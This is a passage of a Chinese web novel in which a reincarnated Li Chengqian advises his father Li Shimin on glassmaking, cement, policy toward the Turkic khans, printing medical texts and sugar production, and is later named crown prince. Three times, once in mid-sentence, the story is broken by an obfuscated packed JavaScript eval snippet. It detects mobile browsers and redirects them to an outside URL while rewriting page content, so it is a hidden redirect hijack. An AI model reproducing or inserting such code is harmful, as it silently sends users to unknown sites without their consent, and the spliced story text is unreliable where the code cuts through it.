宴毕,众人散去。 李世民回到东宫。 刚才在宴上父亲李渊突然提起长兄李建成,他心中颇为感慨。 他倒不至于后悔杀了兄长和弟弟,只是回想起自己年幼时和兄长相处的时光,心中滋味难辨。年幼之时兄弟感情和睦,等到隋末开创霸业,手中权势越来越大,兄弟之间反倒起了龌鹾。 他不想自己的儿子们也同自己一般和兄弟相争,干脆就往承乾住处走去。 李世民走进殿内时,李承乾正在悬腕写字。 因为李世民不许内侍通报,他一直走到李承乾身后,李承乾还没有察觉。 李世民不由将李承乾纸上写的读了出来: “独在异乡为异客,每逢佳节倍思亲。 遥知兄弟登高处,遍插茱萸少一人。” 李世民笑赞道:“好诗,虽然用词质朴,但却能让人觉察出其中的兄弟情义。只是承乾,你何时在了异乡?你和你的弟弟们不是一直在长安吗?” 李承乾有些无奈:“……阿耶,这不是我写的,是一个叫王维的人写的。只不过今日是重阳,我写出来应应景罢了。” 李世民刚才只不过是喝多了酒,有些醉了,现在也已经反应过来。他问道:“王维?我没有在朝中听说过这个名字,可是乡野遗才?” 李承乾愣了一下:“王维是太原王氏的后裔,他家倒也称不上是乡野吧。” 随即,他反应过来,明白了父亲的意思,笑道:“阿耶,你别想了,王维此人现在还没出生呢。别说他了,连他的父亲现在也还没出生呢。” 李世民叹道:“看来这诗也是你到千年之后学的。这王维,是我朝人吗?” 李承乾点头:“是,他在武周年间出生,在开元年间得到唐玄宗重用。” 他见李世民不解,解释道:“唐玄宗是阿耶您的曾孙。” 李世民无奈摸了摸长子的脑袋,笑道:“我的曾孙不就是承乾你的孙子,怎么还绕了这么大一圈?对了,武周是谁的年号,怎么取的这么古怪?” 李承乾:“……” 我亲爱的阿耶,武周不是年号。需要我和您解释一下关于你的才人变成你儿子的老婆这件小事吗?顺便您的才人兼儿媳妇改了国号,大唐可能算是短暂地“灭亡”几年这种小事? 为了还没出生的雉奴的小屁股着想,李承乾生硬地转了话题:“对了,阿耶,我想起来要怎么改进方案才能造出玻璃了。” 李世民虽然隐隐能感觉到长子在转移话题,但因为此时醉了,也没有多想:“哦,要如何改进?” 16.自信 李承乾解释道:“阿耶知道琉璃是用白沙加上其他材料烧制出来的吧?” 李世民点头:“之前召集烧制琉璃的工匠询问之时,听说过一些。” 李承乾道:“其实现在烧制琉璃的办法和千年之后差不多,唯一的区别就在于温度。要烧融石英砂,需要有很高的温度,以目前的琉璃炉来说达不到那么高的温度,因此烧制琉璃的废品率会很高。所以,要想提高琉璃烧制的成功率,要么提高熔炉的温度,要么降低石英砂的熔点。” 李世民点点头:“嗯,承乾,你继续说。” 李承乾道:“从提高熔炉温度的角度考虑,第一点是使用更加耐烧的煤炭取代木炭,这点工匠们应当早已经使用过。第二点则是建高炉。” 李世民皱眉:“承乾,你要知道,高炉易塌。” “那是因为粘合剂不行吧。”李承乾道,“所以,可以先让匠人烧水泥,再用水泥建高炉。” 李世民听到这里,突然问道:“承乾,你说的这个水泥,是不是也可以用在炼铁的高炉上?” 李承乾愣了一下:“当然可以。” 李世民有些激动:“承乾,你知道铁水是怎么炼出来的吗?” “采集铁矿石,然后高炉炼铁?”李承乾有些不确定地回复道。 李世民笑道:“如果你刚才说的水泥真能帮助匠人造炼铁高炉,炼出精铁,只怕比琉璃炉的用处更大。” 李承乾喃喃道:“百炼钢和灌钢法。” 李世民没听清楚长子的话:“什么?” 李承乾简单解释了一下宋代沈括《梦溪笔谈》中提过的灌钢法,这还是他高中的时候因为要做历史类手抄报才额外搜集的资料:“阿耶,这对你有用吗?” 李世民激动地抱住长子,坚定地看着他:“有大用。” 李承乾有些惭愧:“如果我之前能多记一些资料就好了。” “承乾,”李世民摸了摸长子的头,“不要这样说,你已经帮了阿耶很多了。” 李承乾点点头:“其他关于炼钢的方法等我想起来之后再告诉阿耶吧。刚才我讲到提高熔炉温度的两种方法。此外,也可以用加碱的方法降低石英砂的熔点。煅烧石灰石的产物,草木灰,这些都可以当做碱性物质使用。还有……” 还有可以侯氏制碱法来制取苏打,但是这个方法需要用到氨气,可是现在根本没有大规模合成氨的条件,化肥也没有办法大规模制取。 想到这里,李承乾不免有些沮丧:“阿耶,现在很多条件都达不到,所以只能用简单一些的办法。这样制造出来的玻璃大概率也还是会有气泡,所以可以让工匠将玻璃反复多次烧制,从而达到更好的效果……” 李承乾还没说完,就听到了李世民的轻笑,不由疑惑地抬起头:“阿耶?” 李世民笑着摇头:“承乾,这就已经很好了。你有这样一颗为国为民的心,阿耶很欣慰。” 李承乾有些微微脸红:“哦,好。”他拿起笔:“阿耶,那趁着我现在还有印象,我把我刚才想到的都写下来。” 李世民点头,静静地看着李承乾书写。 李承乾写了好几张纸,才放下笔,把纸递给阿耶,回头道:“阿耶,之后等我想到什么再补充吧。” 李世民笑着点头:“你的字确实大有长进。之前看到你给丽质写的那本字帖的时候我就想问了,你练的是谁的字?” 李承乾道:“阿娘没和您说吗?这是颜体,颜真卿的字。” 见李世民又想发问,李承乾连忙解释道:“和王维一样,颜真卿也还没出生,他是如今中书舍人颜师古的五世从孙。” 李世民闻言,不免有些遗憾。他自己酷爱书法,虽然擅长的是草书、飞白,并不擅长行楷,但书法的美是共同的。今生无缘得见颜真卿这位书法大家,不得不说是一种遗憾。 “对了,阿耶,重阳已过,朝中打算怎么处理突厥的那两个首领?”李承乾问道。 李世民伸手摸了摸长子的头,笑道:“前几日你母亲才问过我这件事,怎么今日你又问起?” 李承乾犹豫道:“所以阿耶可以告诉我吗?” 李世民道:“再过几日,让人把突利送回去,把颉利留下。” 李承乾若有所思,他记得东突厥目前真正的首领应该是颉利可汗。 至于突利可汗,则是颉利可汗的哥哥始毕可汗的儿子。颉利继位之后,娶了自己的后母兼两个兄长的妻子义成公主,又把自己哥哥的儿子突利封为小可汗。 李承乾道:“只怕突利斗不过义成公主。” 李世民笑道:“无妨,反正他们也没有多少时间了。” 李承乾点头,又带着怀疑小声问道:“阿耶应该不会什么都不要,白白地把突利给放回去吧。” 李世民气笑,轻轻敲了一下长子的脑门:“你阿耶我看起来这么蠢吗?” 李承乾捂住脑袋,“诶呦”一声:“孩儿只是担心,会因为我的缘故,害死很多人。” 前世突厥大军直逼长安,长安兵马不足。阿耶故布疑阵,和突厥颉利可汗在便桥杀白马为盟,在付出许多财物的情况下,换来了突厥的退兵。突厥也以马三千匹、羊万口作为回礼献给阿耶。阿耶没要这些马羊,只让突厥归还之前掠夺的大唐子民。 如果那些被掳掠的子民,这次因为他的关系没有回到中原的话…… 李世民道:“我和突利立下盟约,他此次回去要归还之前掳掠的唐人,归还恒安、朔方二镇。倘若他就此应允,四年之后我就放颉利回去。怎么样,你如今可放心了?” 李承乾松了口气,安下心来,沉吟道:“可是,阿耶,四年之后,你真的要放颉利回去吗?” 李世民自信笑道:“难道四年时间,还不够我拿下突厥吗?” 李承乾不由看呆了,原来年轻时候的阿耶是这样张扬又意气风发,全不像他暮年之时。 李承乾问道:“可是,突利会信守承诺吗?原本他在突厥为小可汗时,还有叔叔颉利可汗在上头压着他。如今颉利被阿耶留在长安,对突利而言是去除了心腹大患,他应该不会希望阿耶把颉利放回去吧。” 李世民评价道:“突利年幼,软弱又贪财,正因为如此,他回突厥之后,才更加不敢和大唐起冲突。这也正是大唐休养生息的机会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341817|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承乾似懂非懂地点点头。只是听到阿耶说突利年幼,又不免觉得有些好笑,阿耶不过也只是比突利年长五岁而已,居然一本正经地说突利年幼,也太奇怪了。 李世民本就是今日重阳宴结束之后才来到李承乾住处,又和长子聊了这么久,秋日的天本就黑得快,等他和长子谈话结束时,殿内已经点上了灯。 李世民拍拍李承乾的肩膀:“好了,今天你也累了一天,早些休息吧。” “嗯,阿耶慢走,我送阿耶。” 李世民道:“不必送了,回去吧。” …… 李世民回到丽正殿,走进寝殿就看到妻子在烛火前绣着什么。他走到妻子身边坐下,又让人点了两盏灯送过来,问道:“今日操办宴会累了一日,音娘你这又是在做什么?这么暗怎么不多点几盏灯,前些日子才给阿耶做了件衣服,如今又做这些东西,只怕要把眼睛熬坏了。” 长孙无音笑道:“这件不是给阿耶的,是给承乾的。再过几日是承乾的小生,前些年你出征在外,也没给他好好过过生日,如今正好给他补上。” 李世民有些恍惚:“这我倒是忙忘了。对了,我记得承乾、青雀、丽质三个的生日是紧挨着的。” “是啊。”长孙无音笑道。 李世民道:“这些年辛苦你了,音娘。” 长孙无音只笑笑,没有说话。 李世民突然道:“我打算十月癸亥的时候,立承乾为皇太子。” 长孙无音闻言一惊,针扎进食指,血珠立刻冒了出来。 李世民立刻命内侍取了白布来包扎,无奈道:“怎么这么不小心?被我的话吓到了?” 长孙无音任由丈夫把自己的手指包成一个粽子,皱眉道:“二郎春秋鼎盛,何必这么早立下太子?” 李世民笑道:“承乾是我们的嫡长子,就算我不立太子,太子之位也只会是承乾的。与其闹得他们兄弟猜忌,倒不如早早把太子定下来,国有储君,也好让臣民安心。” 长孙无音犹豫道:“可是……二郎明明知道承乾身上有异。” 李世民道:“那又如何?难道就因为承乾知道千年之后的一些事,他就不是我儿子了?” 李世民还不至于迟钝到,没发现承乾有些时候完全不像个孩子。可是那又如何?只要承乾认他这个阿耶,认长孙无音这个阿娘,身上留着他们夫妻俩的血,那他就是他们的嫡长子。至于别的,又与他何干。 李世民把妻子抱进怀里:“音娘不必忧心,承乾是我们的孩子,就只会是我们的孩子。” “对了,我今日从承乾处听到了大唐之后的两个年号,一个是武周,一个是开元。”李世民和妻子分享自己从长子那里听来的新趣闻,“开元二字倒是好说,汉朝班固在《东都赋》里写:‘夫大汉之开元也,奋布衣以登皇位。’应该是取自新纪元的意思。只是武周二字又是取自何处?” 长孙无音猜测道:“大抵是取自如今的武德年号和周朝吧,可能有承袭先祖之意?” 李世民:“是这样吗?” 现在回想起来,承乾当时转移话题是不是太过生硬了? 17.刊刻医书 九月十二日,突厥突利可汗的车马载着与大唐契约的盟书渐渐远去。 不过这一切都和八岁需要上学的李承乾无关。 这日,他的老师陆德明偶感风寒,请了病假。李承乾跑到显德殿,向父亲李世民请求出宫去看望他。 李世民沉吟片刻,虽然感慨于承乾的尊师之心,但还是拒绝了他:“承乾,你自己本来就体弱,若是去探病,自己染了风邪反而更加不好。你关心陆卿,阿耶命人赐药给他,好不好?” 这话说的,跟哄孩子似的。 李承乾点点头,也没有坚持:“那我能去出宫找家庆表兄吗?” 李世民想到承乾上一次出宫找长孙家庆,就弄出了火药,闹得人心惶惶,害得程咬金把整个长安城的防备又加固了一遍。他迟疑了片刻,询问道:“承乾,你又想弄什么?” 李承乾笑道:“阿耶,你不用这么小心谨慎的,我这次不做什么武-器,不会弄出太大动静的。对了,擅长雕刻的工匠能不能也借我几个?” 李世民还是有些不放心,继续追问道:“承乾,你到底想做什么?” 李承乾无奈道:“好吧好吧,我告诉阿耶好了,我想找人印一部书。” “什么书?”李世民问道。 李承乾道:“《伤寒杂病论》。” 李世民皱眉道:“我记得,《伤寒杂病论》是一部医术。承乾,你可知道,印一本书,耗费巨大?” 李承乾点点头,同时伸出双手,做出一副不孝子的样子:“所以,阿耶,给我点钱吧。” 李世民:“……” 李世民无奈地摆摆手,“罢了,你要钱时记个帐,钱就从内库里出吧。” 李承乾抱住李世民顺势亲了一下:“谢谢阿耶,那我先走了。” 望着李承乾跑出去的背影,李世民无奈摇头。之前和承乾说起突厥之事时才觉得他长大了些,现在看他这个样子,完全还是个孩子嘛。 …… 李承乾坐车到长孙府的时候,长孙无忌已经带领一众长孙家子弟在府外等候。 虽然立皇太子的诏书还没下,但是长孙无忌早已经得到了消息。 “舅舅——” 李承乾从车上跳下来,吓得长孙无忌赶紧上前把他抱下车,忍不住嘱咐道:“殿下千金之躯,怎么能如此鲁莽,置自己的安危于不顾?” 李承乾吐了吐舌头,乖乖挨了教训。 众人进府寒暄。 在厅堂饮茶过后,李承乾对长孙无忌道:“舅舅,我此次出宫,是有一事相求。” 长孙无忌疑惑道:“不知中山王有何事?” 李承乾解释道:“我想刊刻《伤寒杂病论》,阿耶已经准了。只是我出宫不便,所以想请家庆表兄做个监工。” 长孙无忌点头,虽然不知道中山王为什么会突然想印一本医术,但陛下既然已经同意了,那他也没什么好多说的。 至于长孙家庆,他本来就是中山王的侍读。如今中山王有大儒为师,不再需要长孙家庆为其启蒙。但照陛下的意思来看,只怕将来中山王册立为太子之后,家庆依旧要侍奉太子左右的。 长孙无忌道:“这只是小事,家庆本就侍奉殿下,自然没有推辞的道理。” 一旁侍立聆听的长孙家庆也连忙应声允诺:“殿下放心,这件事我会办好的。” 李承乾点点头,看向长孙无忌:“此外,还有一件事。我要印的是医书,若是印刻中有一丝错误,只怕就会害人性命。所以需要有人帮忙校正底本,查其缺漏。” 长孙无忌愣了一下,迟疑道:“臣并不曾学医,只怕难担此重任。” 李承乾笑道:“舅舅误会了,我怎么会请舅舅来做校正之人?我心中已经有了人选,只是我和他此前并未见过,所以还需要舅舅代为引荐。” 长孙无忌道:“是何人?” 李承乾:“太常丞甄立言的兄长甄权。” 长孙无忌恍然大悟,甄权和甄立言两兄弟确实是医道大家,甄权曾在隋朝为官,后来称病辞职,一直闲赋在家。倒是他弟弟甄立言,如今还在太常寺任职。长孙无忌倒是和他有些来往。 长孙无忌道:“这倒是不难。” 他先写了拜帖,解释清楚原委,命人送到甄权府上。 等到那边应允之后,就带上李承乾前去甄府拜访。 甄权家和长孙无忌家并不在同一片区域,马车行进甄权家所在的坊里的时候,李承乾只觉得附近的房屋一下子变得朴实无华起来,各家的宅院也小了很多。 甄权的弟弟甄立言如今还在太常寺工作,八十六岁的甄权及其子孙接待了李承乾一行人。 长孙无忌解释了众人来此的原因。 甄权没有立刻答应,而是坐在席上问道:“不知殿下刊刻医书所为何事?” 李承乾解释道:“我听说市井之间常有和尚道士传经,教化困苦百姓。可百姓之苦,大抵是无粮、无衣、无田、无药。我能力有限,虽然不能赐药于民,可若是能将医术刊行州县,有人读了此书,行医治人,也能抵消百姓一二之苦了。未免错失害人,所以特意请您为其校对,添上句读,以保万全。” 甄权叹道:“殿下仁心,只怕这世间学医之人少啊。” 李承乾道:“这倒是不怕。我听说您当时学医,是为了救治母亲。大唐何其之大,若是如您这般孝心之人有万分之一二,也就够了。” 既然中山王坚持,甄权也不再多劝,继续问道:“不知殿下打算印多少册?” 李承乾道:“少说也要一万册吧。” “咳咳咳——”长孙无忌险些将口中的茶喷了出来,他险险将茶咽下去,震惊地看向李承乾:“殿下,坊刻印书,不过在三五百之数,从来没有超过千册的。殿下可知万册要耗费多少银钱?” 这个,李承乾还真不知道,毕竟他几辈子也从来没缺过书看。前前世身为太子,宫中藏书无数,少了谁也不会少了他的。至于现代那一世,就更不用说了。所以他还真不到原来唐代的起印书册数量居然才这么点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347441|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承乾道:“阿耶说,印书的银钱从他内库中取。” 长孙无忌;“……”恐怕陛下当时答应中山王的时候,并不知道中山王想印万册书吧。真是不当家不知柴米油盐贵啊。 李承乾看向甄权:“总之,不管是百册还是万册,书总是要印的。还请您废些功夫,帮忙校对。若是为难之处,只管去长孙府找长孙家庆便是。” 甄权点点头,就此应下。 …… 离开甄府之后,长孙无忌让其他人回家,自己则跟着中山王前往东宫拜见陛下。 显德殿内,李世民正想着承乾这次出宫刻书究竟是为了什么,就听见内侍来报,长孙无忌和中山王求见。 李世民虽然奇怪他们俩怎么一起来了,但还是叫人把他们叫进来。 长孙无忌和李承乾进来后,李世民先看向李承乾:“你今日出宫,刻书的事安排得如何?” 李承乾看了看李世民,又看向长孙无忌,开口道:“要不阿耶先问舅舅吧?” 李世民便看向长孙无忌:“辅机,今日承乾在宫外可是给你添了麻烦?” 长孙无忌有些无奈,说起来中山王想要印医书发医书的心是好的,可刊印万册,也实在是耗费太大。他叹了口气,将今日之事原原本本地和李世民解释了一遍。 李世民听完,看向李承乾:“承乾,若你能给出合理的解释,阿耶就答应帮你刊印这万册书,如何?” 李承乾道:“阿耶,我想要千金买骨,医道大兴。” “自古医学大家都有著作,可惜都没有流传下来。比如我要刻印的《伤寒杂病论》,明明成书于汉代,但直到晋朝太医令王叔和收集此书,才让它重现人间。” “若我能以刻书为诱,全国名医自然会聚于长安。到时候……” 说到此处,李承乾止住话音。 李世民继续问道:“到时候怎么样?” 李承乾摇摇头,没有继续说。 这个理由其实并没有完全说服李世民,但想到承乾去过千年之后,只怕看过唐史,这其中恐怕有什么他不知道的缘故,李世民也就没有多问。 李世民道:“既然如此,承乾,朕便答应你。” 长孙无忌惊讶地看向李世民,劝道:“陛下,这……” 李世民摇头,不让长孙无忌多问。长孙无忌只知道火药是承乾弄的,但不知道目前工坊里的其他事大多也是承乾的主意。他有如此功劳,帮他出钱印点书其实也没什么。 小儿多慧易夭,李世民并不想把承乾想出的这些主意和他联系上。再者,工匠之事,和一国太子扯上关系,对承乾的名声也不好。 “只是,承乾,这次的这万册书,朕能帮你出钱刻印。”李世民看向长子,“其他医家的书,你又该如何刻印呢?你如今虽然是中山王,有封地奉养你,但刻印书籍耗费之大,你恐怕是不知道的。长此以往,你又该如何?” 李承乾道:“阿耶,可以用胶泥活字减少印刷成本。还有,阿耶,能让我开一间糖铺吗?” 18.生日 李世民疑惑道:“糖铺?” 李承乾点头:“阿耶不是爱吃摩揭陀国出产的石蜜吗?我知道它是怎么做出来的。还有砂糖、冰糖、奶糖,这些糖的做法我都知道。” 长孙无忌紧张地咽了一下口水,看向李承乾:“中山王的意思是?” 李承乾道:“我为皇族宗室,吃穿用度由万民供养,并不需要银钱。所以我把制糖的方法交给阿耶,阿耶帮我开糖铺,分一成利给我刻书好不好?” 李世民走下位子,站在李承乾面前,笑道:“承乾,你倒是惯会清闲。你可知卖糖的利润有多大?” 李承乾正视父亲,说道:“阿耶,良田万倾,不过一日三餐;大厦千间,只睡卧榻三尺。更何况我为宗室,就更不必为这些身外之物发愁了。卖糖的利润有多大又与我何干?” “你如今倒是学会和朕说禅了。”这话说得未免也太超脱了,李世民心里担心长子,面上却笑骂道,“也罢,那就应你所请。辅机,这件事就交给你去办。” 长孙无忌知道这是陛下特意给自己找的赚钱的机会,虽然自己不缺钱,但也不会嫌钱多,他连忙谢恩:“多谢陛下。” 李世民点头:“嗯,你先回去吧。” 长孙无忌:“陛下,臣告退。” 等到长孙无忌走后,李世民看向长子:“承乾,你到底在千年之后学了什么东西?” 李承乾摸摸头,没有言语。现代人嘛,在信息大爆炸的时代总会知道一些莫名其妙的知识。 李承乾笑道:“我也是缺钱了才想起来,可以制糖挣钱。对了,阿耶,你从内库帮我出钱印书,会不会不太好啊?” 虽说内库是李世民个人的私库,但如果一下子花费太多的话,总觉得朝中会有反对意见。 李世民道:“这倒是无妨。之前不是叫人烧了一批琉璃吗?就说你说的那些‘残次品’,因为颜色杂乱,又有气泡,不能用来磨制凸、凹二镜。拿了一批赏赐后妃之后还有剩余,正好可以买出去,填补内库。” 李承乾松了口气:“原来是这样。” 李世民伸手把长子抱进怀里,笑道:“怎么,用阿耶的钱,让你这么难受吗?” 李承乾沉默片刻,道:“难道我要一直让阿耶养着吗?” 李世民笑得更开心了,反问道:“那又如何,等承乾你将来娶妻生子,还不是阿耶供养你?你我父子,本就为一体,怎么如今反倒和阿耶这么客气了?” 李承乾难为情地偏过头去,没有作声。 李世民把他放下来,拍拍他的肩膀:“三日之后是你的生日,阿耶带你去禁苑跑马如何?” 李承乾点点头:“嗯,多谢阿耶。” …… 三日后,九月十五,这日是李承乾的生日。 李承乾在心理上毕竟是个大人,对自己的生日并没有什么过多的期待。 不过,王乳娘显然和李承乾不同,一大早上起来就开始忙碌。 李承乾早上坐下吃朝食的时候,她就命人端来一碗汤饼:“汤饼形长,意为长寿,大郎可要一口气吃完才行。” 李承乾无奈,只是将送上的汤饼全部吃完,先去太极殿给李渊请安。然后才带上自己之前准备的东西,去丽正殿给阿耶和阿娘请安。 今日是休沐日,李承乾走到丽正殿的时候,李世民和长孙无音正在合看一本书。 听到承乾来了,李世民放下书,让人传他进来。 李承乾走进殿内道:“我来给阿耶、阿娘请安。” 李世民点点头:“承乾,过来坐吧。” 李承乾走到父母身边,将手上的一个小木匣放在母亲身前的小案上:“阿娘,这是我给你的礼物。” 长孙无音笑道:“承乾,今日是你的生辰,怎么反倒是你给我送礼?” 李承乾道:“今日虽是我出生之日,却也是阿娘受难之日,自然要先谢母恩。” 长孙无音沉默了一瞬。 李承乾小心翼翼地道:“阿娘,我说错话了吗?” 长孙无音笑着摇头:“没什么。承乾,你在匣子里装了什么?”她把木匣打开,里面是两个个银制的砗磲盒。其中一个砗磲盒里是一些红色的膏状物,另一个则是白色的膏状物。 长孙无音用指尖挑起一点红色,有玫瑰之香,在手心里抹开,瞬间一片嫣红。她笑道:“原来是胭脂。” 李承乾点头,指着另一个砗磲盒:“白色的那个是用羊油熬的脂膏,阿娘冬日里抹在手上最是滋润。这是我之前出宫的时候问甄医家要的方子。” 长孙无音显然对这件礼物很满意,笑道:“承乾,你怎么会想起来做这个?” 只见李承乾满脸苦恼,答道:“因为我实在不知道要送阿娘什么东西,之前见我宫中的宫女涂抹脂粉,才想起来让人给阿娘做一些胭脂。” 李世民笑道:“也不知道你在梦中到底都学了些什么东西?” “对了,阿耶,我有一事相求。”李承乾突然道。 李世民:“什么事?” 李承乾道:“阿耶能下令,让宫中禁用铅粉、朱砂吗?如果能通令全国就更好了。” 李世民常年行军在外,不通闺阁之物。但他通读史书,知道三国时傅粉何郎的典故,知道铅粉多为女子白面之物。只不过长孙无音本就肤白,并不常用铅粉,倒是朱砂,因为可以用来做胭脂,反倒用得多些。 李世民不解道:“承乾为什么突然提起这个?” 李承乾解释道:“因为铅粉、朱砂都有毒,若是长久使用,遗害无穷。” 李世民道:“果真如此?朱砂可是道家炼丹的材料。”虽然他本人不信神佛,但朱砂一直被当做入药之物,若是有毒,那就糟了。 “嗯。正因如此,所以自古求仙问药的皇帝没有一个是真正寻得长生的。”李承乾直言不讳,“最后他们都被丹药毒死了。” 李世民被这直白的话噎住,一时间竟不知道该说什么。 李承乾道:“阿耶若是不信,就让人做个对照实验好了。选些鸡鸭,分成两批,一批正常喂食,一批喂食的同时再喂些铅粉朱砂,看看最后结果如何,不就知道答案了。” 李世民点点头:“知道了,我会命人去办的。” 李承乾看向阿娘,长孙无音无奈笑道:“在结果出来之前,阿娘先用承乾送来的胭脂涂抹,好不好?” 李承乾笑道:“嗯。” 李世民看向他:“承乾,你今日来之前可有去给你阿翁请安?” 李承乾点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361822|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“之前已经去过了。” “如此便好。今日是你生辰,不必读书了。中午把青雀、丽质他们叫来一起用饭,午后带你们去禁苑骑马。”李世民说着今日的行程,“现在倒是难得的清闲,承乾,你陪阿耶手谈一局吧。” 李承乾立刻道:“那我要阿娘帮我。” 李世民被他这耍无聊的行为震惊道:“下棋怎么还有三个人一起下的?” 李承乾理直气壮:“可是我本就不擅长对弈,阿耶又比我年长这么多,明明是阿耶在欺负我吧。当然得阿娘帮我才行。”他看向长孙无音:“阿娘会帮我的吧。” 长孙无音微笑摇头:“承乾,观棋不语真君子。” 李承乾只好无奈作罢。 棋局摆好,父子双方上场。 只是下了没一会儿,李世民就放弃了,和承乾下棋是真的没意思,他把陷阱摆在哪儿,承乾就把棋子落到哪儿。李世民一点获胜的成就感都没有。 一局很快结束,李世民看着眼前的长子,叹道:“古人言,观棋可知人。承乾,吾观尔之棋,七窍通了六窍——一窍不通。” 李承乾无奈道:“阿耶我本来就不擅长对弈嘛。” 李世民只能摆摆手:“换人,音娘,你来。” 李承乾坐在旁边看父母对弈,看着看着,便觉得脑子乱成一团浆糊,根本跟不上他们俩的思路,本来今天起床就早,慢慢地就赖到了母亲怀里。 长孙无音抱着他,继续和李世民下棋。 …… 一局罢了,长孙无音摇醒怀里的长子:“承乾,醒醒,该用午食了。” 李承乾揉揉眼睛,打了个哈欠:“好。” 他看了眼棋局,黑白二子已经被内侍收拾好,他不由好奇道:“阿耶,阿娘,这局棋谁赢了?” 李世民看向他道:“承乾,不如你猜猜看?” 李承乾想了想道:“应该是平局吧。” 李世民好奇道:“为何这样说?” 李承乾道:“因为我觉得如果是阿耶你赢了的话,应该会直说才是。而从阿耶的面色上看,又不像是不高兴输了的样子,所以我猜是平局。” 李世民笑道:“猜对了一半。因为快要到用午食的时候,你阿娘不愿意陪我下了,干脆就撤了棋局。” 李承乾点头:“原来如此。” 因为今天不算是承乾的大生日,所以宴会的规模并不大,只叫了青雀、丽质和其他能说话、会走路的异母弟妹。 李承乾命人收下弟弟妹妹送来的礼物,接受他们的生日祝福,和众人一起用过午食,这场家庭小宴会就结束了。 等到下午,李世民带李承乾去禁苑骑马,他才又重新高兴起来。 因为承乾年纪还小,李世民也没有让他多骑,只带他跑了两圈就让他停下来,只让人给他牵马。 傍晚,夕阳西下,快要结束离开禁苑的时候,李世民对长子道:“承乾,阿耶今日送你的生辰礼物,已经命人送到你的寝宫了,你快回去看看吧。” 李承乾点头,心中已经有了预兆。 等他回到寝殿,果然看到案上那份熟悉的《立中山王承乾为皇太子诏》。 他闭上眼,发出一声轻叹。 阿耶…… 19.第 19 章 不知过了多久,李承乾再次睁开眼,看着眼前的这份诏书。 明明诏书上面写的全是充满赞美的话:“地居嫡长,丰姿峻嶷;仁孝纯深,业履昭茂,早闻睿哲,幼观《诗》、《礼》;允兹守器,养德春宫”。 李承乾却忍不住回想起前世《废皇太子承乾为庶人诏》中写的“朕受命上帝,为人父母,凡在苍生,皆存抚育,况乎冢嗣,宁不锺心”之语。 想起《旧唐书》对他的评价,“承乾之愚,圣父不能移也”。他是阿耶在历史上最大的污点之一,想到此处,不免落下泪来。 侍奉李承乾的王乳娘及宫中众人原本以为李承乾看到这份诏书会开心才对,却不想他潸然泪下,极为伤怀。 王乳娘看着眼前这个自己照顾长大的孩子,只觉得越来越读不懂他了。她走上前,用巾帕拭去李承乾脸上的泪水,小心翼翼地问道:“殿下这是喜极而泣吗?” 李承乾脸上露出一抹苦笑:“是啊,我很高兴。” 虽然李承乾这样解释,但王乳娘却怎么也觉察不出他脸上的高兴来。只是作为养育李承乾长大的乳娘,她不得不提醒道:“殿下该去显德殿谢恩了。” 李承乾点点头:“好,乳娘让人为我打水洗脸吧。” …… 李承乾用水洗去脸上的泪痕,走到显德殿前。却被守殿的宫人告知李世民并此时不在显德殿内。 阿耶大概回丽正殿陪阿娘了吧,李承乾猜测道。 显德殿前的广场上还摆放着今日练兵用的弓箭。自从与突厥一战之后,虽然最后是大唐获胜,但如果没有李承乾想出的火药法子,只怕无法彻底抵御突厥。李世民深感练兵的重要性,便在显德殿的广场上教人射箭演武,选拔有能力的武将。虽然朝中多有大臣劝阻,说在东宫练兵风险太大,但李世民依旧一意孤行。 此时已经是傍晚黄昏时分,在显德殿前操练的兵将早已离开,但殿前摆放的弓箭兵器却还未被内侍收拾好。 李承乾走到显德殿前的广场上,挑了一把弓,搭上箭,射向远处的草垛靶子。 收拾兵器的宫人内侍见状,也不敢阻拦他。虽然册封皇太子的典礼尚未举行,但今日那份立中山王为太子的诏书已经通令全宫,众人皆知中山王从今日起就是名正言顺的太子。 一壶箭被李承乾搭弓射完,他看向侍奉在旁边的宫人:“再拿一壶箭来。” 宫人很快将另一壶箭取来,李承乾再次拉弓射出。 再取,再射…… 如此反复。 直到李承乾正打算拿起箭壶中剩下的最后一根箭,一只大手拦住了他,声音随即传来:“好了,承乾,天都黑了,歇一会儿吧。” 李承乾看向来人:“阿耶……” 李世民摸了摸长子的额头,一头的汗,只怕是累得很了,干脆伸手将长子抱起,进了显德殿后殿。 殿中点了灯,李世民才看清怀里的承乾嘴角居然已经干裂出血,双手也因为射箭太过用力裂出血痕。他不由怒道:“承乾,你如今是太子,万金之躯,身份贵重,你就是这么糟蹋自己身子的吗?你知不知道……” 李世民还要继续发怒,却见李承乾已经眼眶红肿,眼流满面。 